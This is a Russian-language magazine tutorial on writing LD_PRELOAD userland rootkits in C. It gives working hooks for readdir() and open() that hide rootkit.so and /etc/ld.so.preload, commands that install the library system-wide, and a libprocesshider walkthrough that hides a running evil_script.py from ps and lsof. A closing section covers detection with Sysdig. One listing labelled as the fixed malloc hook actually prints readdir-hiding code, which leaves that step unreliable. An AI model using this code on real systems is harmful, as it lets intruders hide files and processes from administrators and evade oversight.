В ник­сах сущес­тву­ет перемен­ная сре­ды, при ука­зании которой твои биб­лиоте­ки будут заг­ружать­ся рань­ше осталь­ных. А это зна­чит, что появ­ляет­ся воз­можность под­менить сис­темные вызовы. Называ­ется перемен­ная LD_PRELOAD, и в этой статье мы под­робно обсу­дим ее зна­чение в сок­рытии (и обна­руже­нии!) рут­китов.

Офи­циаль­но глав­ное пред­назна­чение LD_PRELOAD — отладка или про­вер­ка фун­кций в динами­чес­ки под­клю­чаемых биб­лиоте­ках. Если не хочет­ся исправ­лять и переком­пилиро­вать саму биб­лиоте­ку, то мож­но вос­поль­зовать­ся перемен­ной сре­ды.

К при­меру, если нам нуж­но пред­загру­зить биб­лиоте­ку ld.so, то у нас будет два спо­соба:

  1. Ус­тановить перемен­ную сре­ды LD_PRELOAD с фай­лом биб­лиоте­ки.
  2. За­писать путь к биб­лиоте­ке в файл /etc/ld.so.preload.

В пер­вом слу­чае мы объ­явля­ем перемен­ную с биб­лиоте­кой для текуще­го поль­зовате­ля и его окру­жения. Во вто­ром же наша биб­лиоте­ка будет заг­ружена рань­ше осталь­ных для всех поль­зовате­лей сис­темы.

Нам инте­ресен как раз вто­рой спо­соб: имен­но он час­то исполь­зует­ся в рут­китах для перех­вата некото­рых вызовов, таких как чте­ние фай­ла, лис­тинг дирек­тории, про­цес­сов и про­чих фун­кций, поз­воля­ющих зло­умыш­ленни­ку скры­вать свое при­сутс­твие в сис­теме.

www

В осно­ве это­го иссле­дова­ния — пуб­ликация Абхи­нава Тха­кура Crafting LD_PRELOAD Rootkits in Userland.

 

Переопределение системных вызовов

Преж­де чем мы нач­нем сбли­жение с реаль­ными фун­кци­ями рут­китов, давай на неболь­шом при­мере покажу, как мож­но перех­ватить вызов стан­дар­тной фун­кции malloc().

Для это­го напишем прос­тую прог­рамму, которая выделя­ет блок памяти с помощью фун­кции malloc(), затем помеща­ет в него фун­кци­ей strncpy() стро­ку «I’ll be back» и выводит ее пос­редс­твом fprintf() по адре­су, который вер­нула malloc().

Соз­даем файл call_malloc.c:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
char *alloc = (char *)malloc(0x100);
strncpy(alloc, "I'll be back\0", 14);
fprintf(stderr, "malloc(): %p\nStr: %s\n", alloc, alloc);
}

Те­перь напишем прог­рамму, пере­опре­деля­ющую malloc(). Внут­ри — фун­кция с тем же име­нем, что и в libc. Наша фун­кция не дела­ет ничего, кро­ме вывода стро­ки в STDERR c помощью fprintf().

Соз­дадим файл libmalloc.c:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
void *malloc(size_t size)
{
fprintf(stderr, "\nHijacked malloc(%ld)\n\n", size);
return 0;
}

Те­перь с помощью GCC ском­пилиру­ем наш код:

$ ls
call_malloc.c libmalloc.c

$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ gcc -o call_malloc call_malloc.c
$ ls
call_malloc call_malloc.c libmalloc.c libmalloc.so

Вы­пол­ним нашу прог­рамму call_malloc:

$ ./call_malloc
malloc(): 0x5585b2466260
Str: I'll be back

Пос­мотрим, какие биб­лиоте­ки исполь­зует наша прог­рамма, с помощью ути­литы ldd:

$ ldd ./call_malloc
linux-vdso.so.1 (0x00007fff0cd81000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0d35c74000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0d35e50000)

От­лично вид­но, что без исполь­зования пред­загруз­чика LD_PRELOAD стан­дар­тно заг­ружа­ются три биб­лиоте­ки:

  1. linux-vdso.so.1 — пред­став­ляет собой вир­туаль­ный динами­чес­кий раз­деля­емый объ­ект (Virtual Dynamic Shared Object, vDSO), который при­меня­ется для опти­миза­ции час­то исполь­зуемых сис­темных вызовов. Его мож­но игно­риро­вать (под­робнее — man 7 vdso).
  2. libc.so.6 — биб­лиоте­ка libc с исполь­зуемой нами фун­кци­ей malloc() в прог­рамме call_malloc.
  3. ld-linux-x86-64.so.2 — сам динами­чес­кий ком­понов­щик.

Те­перь давай опре­делим перемен­ную LD_PRELOAD и поп­робу­ем перех­ватить malloc(). Здесь я не буду исполь­зовать export и огра­ничусь однос­троч­ной коман­дой для прос­тоты:

$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
Ошиб­ка сег­менти­рова­ния

Мы успешно перех­ватили malloc() из биб­лиоте­ки libc.so, но сде­лали это не сов­сем чис­то. Фун­кция воз­вра­щает зна­чение ука­зате­ля NULL, что при разыме­нова­нии strncpy() в прог­рамме ./call_malloc вызыва­ет ошиб­ку сег­менти­рова­ния. Испра­вим это.

 

Обработка сбоев

Что­бы иметь воз­можность незамет­но выпол­нить полез­ную наг­рузку рут­кита, нам нуж­но вер­нуть зна­чение, которое вер­нула бы пер­воначаль­но выз­ванная фун­кция. У нас есть два спо­соба решить эту проб­лему:

  • на­ша фун­кция malloc() дол­жна реали­зовы­вать фун­кци­ональ­ность malloc() биб­лиоте­ки libc по зап­росу поль­зовате­ля. Это пол­ностью изба­вит от необ­ходимос­ти исполь­зовать malloc() из libc.so;
  • libmalloc.so каким‑то обра­зом дол­жна иметь воз­можность вызывать malloc() из биб­лиоте­ки libc и воз­вра­щать резуль­таты вызыва­ющей прог­рамме.

Каж­дый раз при вызове malloc() динами­чес­кий ком­понов­щик вызыва­ет вер­сию malloc() из libmalloc.so, пос­коль­ку это пер­вое вхож­дение malloc(). Но мы хотим выз­вать сле­дующее вхож­дение malloc() — то, что находит­ся в libc.so.

Так про­исхо­дит потому, что динами­чес­кий ком­понов­щик внут­ри исполь­зует фун­кцию dlsym() из /usr/include/dlfcn.h для поис­ка адре­са, заг­ружен­ного в память.

По умол­чанию в качес­тве пер­вого аргу­мен­та для dlsym() исполь­зует­ся дес­крип­тор RTLD_DEFAULT, который воз­вра­щает адрес пер­вого вхож­дения сим­вола. Одна­ко есть еще один псев­доука­затель динами­чес­кой биб­лиоте­ки — RTLD_NEXT, который ищет сле­дующее вхож­дение. Исполь­зуя RTLD_NEXT, мы можем най­ти фун­кцию malloc() биб­лиоте­ки libc.so.

От­редак­тиру­ем libmalloc.с. Ком­мента­рии объ­ясня­ют, что про­исхо­дит внут­ри прог­раммы:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// Определяем макрос, который является
// названием скрываемого файла
#define RKIT "rootkit.so"
// Здесь все то же, что и в примере с malloc()
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
// Вызов orig_readdir() для получения каталога
struct dirent *ep = orig_readdir(dirp);
while ( ep != NULL && !strncmp(ep->d_name, RKIT, strlen(RKIT)) )
ep = orig_readdir(dirp);
return ep;
}

В цик­ле про­веря­ется, не NULL ли зна­чение дирек­тории, затем вызыва­ется strncmp() для про­вер­ки, сов­пада­ет ли d_name катало­га с RKIT (фай­ла с рут­китом). Если оба усло­вия вер­ны, вызыва­ется фун­кция orig_readdir() для чте­ния сле­дующей записи катало­га. При этом про­пус­кают­ся все дирек­тории, у которых d_name начина­ется с rootkit.so.

Те­перь давай пос­мотрим, как отра­бота­ет наша биб­лиоте­ка в этот раз. Сно­ва ком­пилиру­ем и смот­рим на резуль­тат работы:

$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
malloc(): 0x55ca92740260
Str: I'll be back

От­лично! Как мы видим, все прош­ло глад­ко. Сна­чала при пер­вом вхож­дении malloc() была исполь­зована наша реали­зация этой фун­кции, а затем ори­гиналь­ная реали­зация из биб­лиоте­ки libc.so.

Те­перь, ког­да мы понима­ем, как работа­ет LD_PRELOAD и каким обра­зом мы можем пре­доп­ределять работу со стан­дар­тны­ми фун­кци­ями сис­темы, самое вре­мя при­менить эти зна­ния на прак­тике.

Поп­робу­ем сде­лать так, что­бы ути­лита ls, ког­да выводит спи­сок фай­лов, про­пус­кала рут­кит.

 

Скрываем файл из листинга ls

Боль­шинс­тво динами­чес­ки ском­пилиро­ван­ных прог­рамм исполь­зуют сис­темные вызовы стан­дар­тной биб­лиоте­ки libc. С помощью ути­литы ldd пос­мотрим, какие биб­лиоте­ки исполь­зует прог­рамма ls:

$ ldd /bin/ls
...
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1ade498000)
...

По­луча­ется, ls динами­чес­ки ском­пилиро­вана с исполь­зовани­ем фун­кций биб­лиоте­ки libc.so. Теперь пос­мотрим, какие сис­темные вызовы для чте­ния дирек­тории исполь­зует ути­лита ls. Для это­го в пус­той дирек­тории выпол­ним ltrace ls:

$ ltrace ls
memcpy(0x55de4a72e9b0, ".\0", 2) = 0x55de4a72e9b0
__errno_location() = 0x7f3a35b07218
opendir(".") = 0x55de4a72e9d0
readdir(0x55de4a72e9d0) = 0x55de4a72ea00
readdir(0x55de4a72e9d0) = 0x55de4a72ea18
readdir(0x55de4a72e9d0) = 0
closedir(0x55de4a72e9d0) = 0

Оче­вид­но, что при выпол­нении коман­ды без аргу­мен­тов ls исполь­зует сис­темные вызовы opendir(), readdir() и closedir(), которые вхо­дят в биб­лиоте­ку libc. Давай теперь задей­ству­ем LD_PRELOAD и пере­опре­делим эти стан­дар­тные вызовы сво­ими. Напишем прос­тую биб­лиоте­ку, в которой изме­ним фун­кцию readdir(), что­бы она скры­вала наш файл с кодом.

Здесь мы уже перехо­дим к написа­нию прос­того рут­кита без наг­рузки. Все, что он будет делать, — это пря­тать сам себя от глаз адми­нис­тра­тора сис­темы.

Я соз­дал дирек­торию rootkit и даль­ше буду работать в ней. Соз­дадим файл rkit.c.

#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define RKIT "rootkit.so"
#define LD_PL "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
struct dirent *ep = orig_readdir( dirp );
while ( ep != NULL &&
( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||
!strncmp(ep->d_name, LD_PL, strlen(LD_PL))
)) {
ep = orig_readdir(dirp);
}
return ep;
}

Ком­пилиру­ем и про­веря­ем работу:

$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ ls -lah
ито­го 28K
drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
-rw-r--r-- 1 n0a n0a 496 ноя 23 23:44 rkit.c
-rwxr-xr-x 1 n0a n0a 16K ноя 23 23:46 rootkit.so

$ LD_PRELOAD=./rootkit.so ls -lah
ито­го 12K
drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
-rw-r--r-- 1 n0a n0a 496 ноя 23 23:44 rkit.c

Нам уда­лось скрыть файл rootkit.so от пос­торон­них глаз. Пока мы тес­тирова­ли биб­лиоте­ку исклю­читель­но в пре­делах одной коман­ды.

 

Используем /etc/ld.so.preload

Да­вай вос­поль­зуем­ся записью в /etc/ld.so.preload для сок­рытия нашего фай­ла от всех поль­зовате­лей сис­темы. Для это­го запишем в ld.so.preload путь до нашей биб­лиоте­ки:

# ls
rkit.c rootkit.so

# echo $(pwd)/rootkit.so > /etc/ld.so.preload
# ls
rkit.c

Те­перь мы скры­ли файл ото всех поль­зовате­лей (хотя это не сов­сем так, но об этом поз­же). Но опыт­ный адми­нис­тра­тор доволь­но лег­ко нас обна­ружит, так как само по себе наличие фай­ла /etc/ld.so.preload может говорить о при­сутс­твии рут­кита — осо­бен­но если рань­ше такого фай­ла не было.

 

Скрываем ld.so.preload

Да­вай попыта­емся скрыть из лис­тинга и сам файл ld.so.preload. Нем­ного модифи­циру­ем код rkit.c:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define RKIT "rootkit.so"
#define LD_PL "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
struct dirent *ep = orig_readdir( dirp );
while ( ep != NULL &&
( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||
!strncmp(ep->d_name, LD_PL, strlen(LD_PL))
)) {
ep = orig_readdir(dirp);
}
return ep;
}

Для наг­ляднос­ти я добавил к пре­дыду­щей прог­рамме еще один мак­рос LD_PL c име­нем фай­ла ld.so.preload, который мы так­же добави­ли в цикл while, где срав­нива­ем имя фай­ла для скры­тия.

Пос­ле ком­пиляции исходный файл rootkit.so будет переза­писан и из вывода ути­литы ls про­падет и нуж­ный файл ld.so.preload. Про­веря­ем:

$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ ls
rkit.c

$ ls /etc/
...
ldap tmpfiles.d
ld.so.cache ucf.conf
ld.so.conf udev
ld.so.conf.d udisks2
libao.conf ufw
libaudit.conf update-motd.d
libblockdev UPower
...

Здо­рово! Мы толь­ко что ста­ли на один шаг бли­же к пол­ной кон­спи­рации. Вро­де бы это победа, но не спе­ши радовать­ся.

 

Погружаемся глубже

Да­вай про­верим, смо­жем ли мы про­читать файл ld.so.preload коман­дой cat:

$ cat /etc/ld.so.preload
/root/rootkit/src/rootkit.so

Так‑так‑так. Получа­ется, мы пло­хо спря­тались, если наличие нашего фай­ла мож­но про­верить прос­тым чте­нием. Почему так выш­ло?

Оче­вид­но, что для получе­ния содер­жимого ути­лита cat вызыва­ет дру­гую фун­кцию — не readdir(), которую мы так ста­ратель­но перепи­сыва­ли. Что ж, давай пос­мотрим, что исполь­зует cat:

$ ltrace cat /etc/ld.so.preload
...
__fxstat(1, 1, 0x7ffded9f6180) = 0
getpagesize() = 4096
open("/etc/ld.so.preload", 0, 01) = 3
__fxstat(1, 3, 0x7ffded9f6180) = 0
posix_fadvise(3, 0, 0, 2) = 0
...

На этот раз нам нуж­но порабо­тать с фун­кци­ей open(). Пос­коль­ку мы уже опыт­ные, давай добавим в наш рут­кит фун­кцию, которая при обра­щении к фай­лу /etc/ld.so.preload будет веж­ливо говорить, что фай­ла не сущес­тву­ет (Error no entry или прос­то ENOENT).

Сно­ва модифи­циру­ем rkit.c:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
// Добавляем путь, который использует open()
// для открытия файла /etc/ld.so.preload
#define LD_PATH "/etc/ld.so.preload"
#define RKIT "rootkit.so"
#define LD_PL "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
// Сохраняем указатель оригинальной функции open
int (*o_open)(const char*, int oflag) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
struct dirent *ep = orig_readdir( dirp );
while ( ep != NULL &&
( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||
!strncmp(ep->d_name, LD_PL, strlen(LD_PL))
)) {
ep = orig_readdir(dirp);
}
return ep;
}
// Работаем с функцией open()
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX];
if(!o_open)
o_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, LD_PATH) == 0)
{
errno = ENOENT;
return -1;
}
return o_open(path, oflag);
}

Здесь мы добави­ли кусок кода, который дела­ет то же самое, что и с readdir(). Ком­пилиру­ем и про­веря­ем:

$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ cat /etc/ld.so.preload
cat: /etc/ld.so.preload: Нет такого фай­ла или катало­га

Так гораз­до луч­ше, но это еще далеко не все вари­анты обна­руже­ния /etc/ld.so.preload.

Мы до сих пор можем без проб­лем уда­лить файл, перемес­тить его со сме­ной наз­вания (и тог­да ls сно­ва его уви­дит), поменять ему пра­ва без уве­дом­ления об ошиб­ке. Даже bash услужли­во про­дол­жит его имя при нажатии на Tab.

В хороших рут­китах, экс­плу­ати­рующих лазей­ку с LD_PRELOAD, реали­зован перех­ват сле­дующих фун­кций:

  • listxattr, llistxattr, flistxattr;
  • getxattr, lgetxattr, fgetxattr;
  • setxattr, lsetxattr, fsetxattr;
  • removexattr, lremovexattr, fremovexattr;
  • open, open64, openat, creat;
  • unlink, unlinkat, rmdir;
  • symlink, symlinkat;
  • mkdir, mkdirat, chdir, fchdir, opendir, opendir64, fdopendir, readdir, readdir64;
  • execve.

Раз­бирать под­мену каж­дой из них мы, конеч­но же, не будем. Можешь в качес­тве при­мера перех­вата перечис­ленных фун­кций пос­мотреть рут­кит cub3 — там все те же dlsym() и RTLD_NEXT.

 

Скрываем процесс с помощью LD_PRELOAD

При работе рут­киту нуж­но как‑то скры­вать свою активность от стан­дар­тных ути­лит монито­рин­га, таких как lsof, ps, top.

Мы уже доволь­но деталь­но разоб­рались, как работа­ет пере­опре­деле­ние фун­кций LD_PRELOAD. Для про­цес­сов все то же самое. Более того, стан­дар­тные прог­раммы исполь­зуют в сво­ей работе procfs, вир­туаль­ную фай­ловую сис­тему, которая пред­став­ляет собой интерфейс для вза­имо­дей­ствия с ядром ОС.

Чте­ние и запись в procfs реали­зова­ны так же, как и в обыч­ной фай­ловой сис­теме. То есть, как ты можешь догадать­ся, наш опыт с readdir() здесь при­дет­ся кста­ти. 🙂

 

libprocesshider

Как скрыть активность из монито­рин­га, пред­лагаю рас­смот­реть на хорошем при­мере libprocesshider, который раз­работал Джан­лука Борел­ло (Gianluca Borello), автор Sysdig.com (о Sysdig и методах обна­руже­ния рут­китов LD_PRELOAD мы погово­рим в кон­це статьи).

Да­вай ско­пиру­ем код с GitHub и раз­берем­ся, что к чему:

$ git clone https://github.com/gianlucaborello/libprocesshider
$ cd libprocesshider
$ ls
evil_script.py Makefile processhider.c README.md

В опи­сании к libprocesshider все прос­то: дела­ем make, копиру­ем в /usr/local/lib/ и добав­ляем в /etc/ld.so.preload. Сде­лаем все, кро­ме пос­ледне­го:

$ make
$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
$ sudo mv libprocesshider.so /usr/local/lib/

Те­перь давай пос­мотрим, каким обра­зом ps получа­ет информа­цию о про­цес­сах. Для это­го запус­тим ltrace:

$ ltrace /bin/ps
...
time(0) = 1606208519
meminfo(0, 4096, 0, 0x7f1787ce9207) = 0
openproc(96, 0, 0, 0) = 0x55c6f9f145c0
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0x7f1787651010, 0) = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 7) = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5) = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5) = 0x55c6f8258580
...

Ин­форма­цию о про­цес­се получа­ем при помощи фун­кции readproc(). Пос­мотрим реали­зацию этой фун­кции в фай­ле readproc.c:

static int simple_nextpid(PROCTAB *restrict const PT, proc_t *restrict const p) {
static struct direct *ent;
char *restrict const path = PT->path;
for (;;) {
ent = readdir(PT->procfs);
if(unlikely(unlikely(!ent) || unlikely(!ent->d_name))) return 0;
if(likely(likely(*ent->d_name > '0') && likely(*ent->d_name <= '9'))) break;
}
p->tgid = strtoul(ent->d_name, NULL, 10);
p->tid = p->tgid;
memcpy(path, "/proc/", 6);
strcpy(path+6, ent->d_name);
return 1;
}

Из это­го кода понят­но, что PID про­цес­сов получа­ют, вызывая readdir() в цик­ле for. Дру­гими сло­вами, если нет дирек­тории про­цес­са — нет и самого про­цес­са для ути­лит монито­рин­га. При­веду при­мер час­ти кода libprocesshider, где уже зна­комым нам методом мы скры­ваем дирек­торию про­цес­са:

...
while(1)
{
dir = original_##readdir(dirp);
if(dir) {
char dir_name[256];
char process_name[256];
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&
strcmp(dir_name, "/proc") == 0 &&
get_process_name(dir->d_name, process_name) &&
strcmp(process_name, process_to_filter) == 0) {
continue;
}
}
break;
}
return dir;
...

При­чем само имя про­цес­са get_process_name() берет­ся из /proc/pid/stat.

Про­верим наши догад­ки. Для это­го запус­тим пред­лага­емый evil_script.py в фоне:

$ ./evil_script.py 1.2.3.4 1234 &
[1] 3435

3435 — это PID нашего работа­юще­го про­цес­са evil_script.py. Про­верим вывод ути­литы htop и убе­дим­ся, что evil_script.py при­сутс­тву­ет в спис­ке про­цес­сов.

evil_script.py в списке процессов htop
evil_script.py в спис­ке про­цес­сов htop

Про­верим вывод ps и lsof для обна­руже­ния сетевой активнос­ти:

$ sudo ps aux | grep evil_script.py
root 3435 99.5 0.4 19272 8260 pts/1 R 11:48 63:20 /usr/bin/python ./evil_script.py 1.2.3.4 1234
root 3616 0.0 0.0 6224 832 pts/0 S+ 12:52 0:00 grep evil_script.py

$ sudo lsof -ni | grep evil_scri
evil_scri 3435 root 3u IPv4 41410 0t0 UDP 192.168.232.138:52676->1.2.3.4:1234

Те­перь пос­мотрим, сущес­тву­ет ли дирек­тория с PID про­цес­са evil_script.py:

$ sudo ls /proc | grep 3435
3435

$ cat /proc/3435/status
Name: evil_script.py
Umask: 0022
State: R (running)
Tgid: 3435
Ngid: 0
Pid: 3435
...

Все пред­ска­зуемо. Теперь самое вре­мя добавить биб­лиоте­ку libprocesshider.so в пред­загруз­ку гло­баль­но для всей сис­темы. Про­пишем ее в /etc/ld.so.preload:

# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

Про­веря­ем дирек­торию /proc, а так­же вывод lsof и ps.

$ ls /proc | grep 3435
$ lsof -ni | grep evil_scri
ps aux | grep evil_script.py
root 3707 0.0 0.0 6244 900 pts/0 S+ 13:10 0:00 grep evil_script.py

Ре­зуль­тат налицо. Теперь в /proc нель­зя пос­мотреть дирек­торию с PID скрип­та evil_script.py. Одна­ко ста­тус про­цес­са по‑преж­нему виден в фай­ле /proc/3435/status.

$ cat /proc/3435/status
Name: evil_script.py
Umask: 0022
State: R (running)
Tgid: 3435
Ngid: 0
Pid: 3435
...

По­дыто­жим. В пер­вой час­ти статьи мы изу­чили методы перех­вата фун­кций и их изме­нение, что поз­воля­ет скры­вать рут­киты. А даль­ше про­дела­ли то же самое для скры­тия про­цес­сов от стан­дар­тных ути­лит монито­рин­га.

Как ты догады­ваешь­ся, прос­тые рут­киты, нес­мотря на все хит­рости, под­дают­ся детек­ту. Нап­ример, при помощи манипу­ляций с фай­лом /etc/ld.so.preload или изу­чения исполь­зуемых биб­лиотек через ldd.

Но что делать, если автор рут­кита нас­толь­ко хорош, что захукал все воз­можные фун­кции, ldd мол­чит, а подоз­рения на сетевую или иную активность все же есть?

 

Sysdig как решение

В отли­чие от стан­дар­тных инс­тру­мен­тов, ути­лита Sysdig устро­ена по‑дру­гому. По архи­тек­туре она близ­ка к таким про­дук­там, как libcap, tcpdump и Wireshark.

Спе­циаль­ный драй­вер sysdig-probe перех­ватыва­ет сис­темные события на уров­не ядра, пос­ле чего акти­виру­ется фун­кция ядра tracepoints, которая, в свою оче­редь, запус­кает обра­бот­чики этих событий. Обра­бот­чики сох­раня­ют информа­цию о событии в сов­мес­тно исполь­зуемом буфере. Затем эта информа­ция может быть выведе­на на экран или сох­ранена в тек­сто­вом фай­ле.

Да­вай пос­мотрим, как с помощью Sysdig най­ти evil_script.py. К при­меру, по заг­рузке цен­траль­ного про­цес­сора:

$ sudo sysdig -c topprocs_cpu
CPU% Process PID
---------------------------------------------
99.00% evil_script.py 5979
2.00% sysdig 5997
0.00% sshd 928
0.00% wpa_supplicant 474
0.00% systemd 909
0.00% exim4 850
0.00% sshd 938
0.00% su 948
0.00% in:imklog 472
0.00% in:imuxsock 472

Мож­но пос­мотреть выпол­нение ps. Бонусом Sysdig покажет, что динами­чес­кий ком­понов­щик заг­ружал поль­зователь­скую биб­лиоте­ку libprocesshide рань­ше, чем libc:

$ sudo sysdig proc.name = ps
2731 00:21:52.721054253 1 ps (3351) < execve res=0 exe=ps args=aux. tid=3351(ps) pid=3351(ps) (out)ptid=3111(bash) cwd=/home/gianluca fdlimit=1024 pgft_maj=0 pgft_min=62 vm_size=512 vm_rss=4 vm_swap=0
...
2739 00:21:52.721129329 1 ps (3351) < open fd=3(/usr/local/lib/libprocesshider.so) name=/usr/local/lib/libprocesshider.so flags=1(O_RDONLY) mode=0
2740 00:21:52.721130670 1 ps (3351) > read fd=3(/usr/local/lib/libprocesshider.so) size=832
...
2810 00:21:52.721293540 1 ps (3351) > open
2811 00:21:52.721296677 1 ps (3351) < open fd=3(/lib/x86_64-linux-gnu/libc.so.6) name=/lib/x86_64-linux-gnu/libc.so.6 flags=1(O_RDONLY) mode=0
2812 00:21:52.721297343 1 ps (3351) > read fd=3(/lib/x86_64-linux-gnu/libc.so.6) size=832
...

Схо­жие фун­кции пре­дос­тавля­ют ути­литы SystemTap, DTrace и его све­жая пол­ноцен­ная замена — BpfTrace.

www

Про­екты на GitHub:

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    2 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии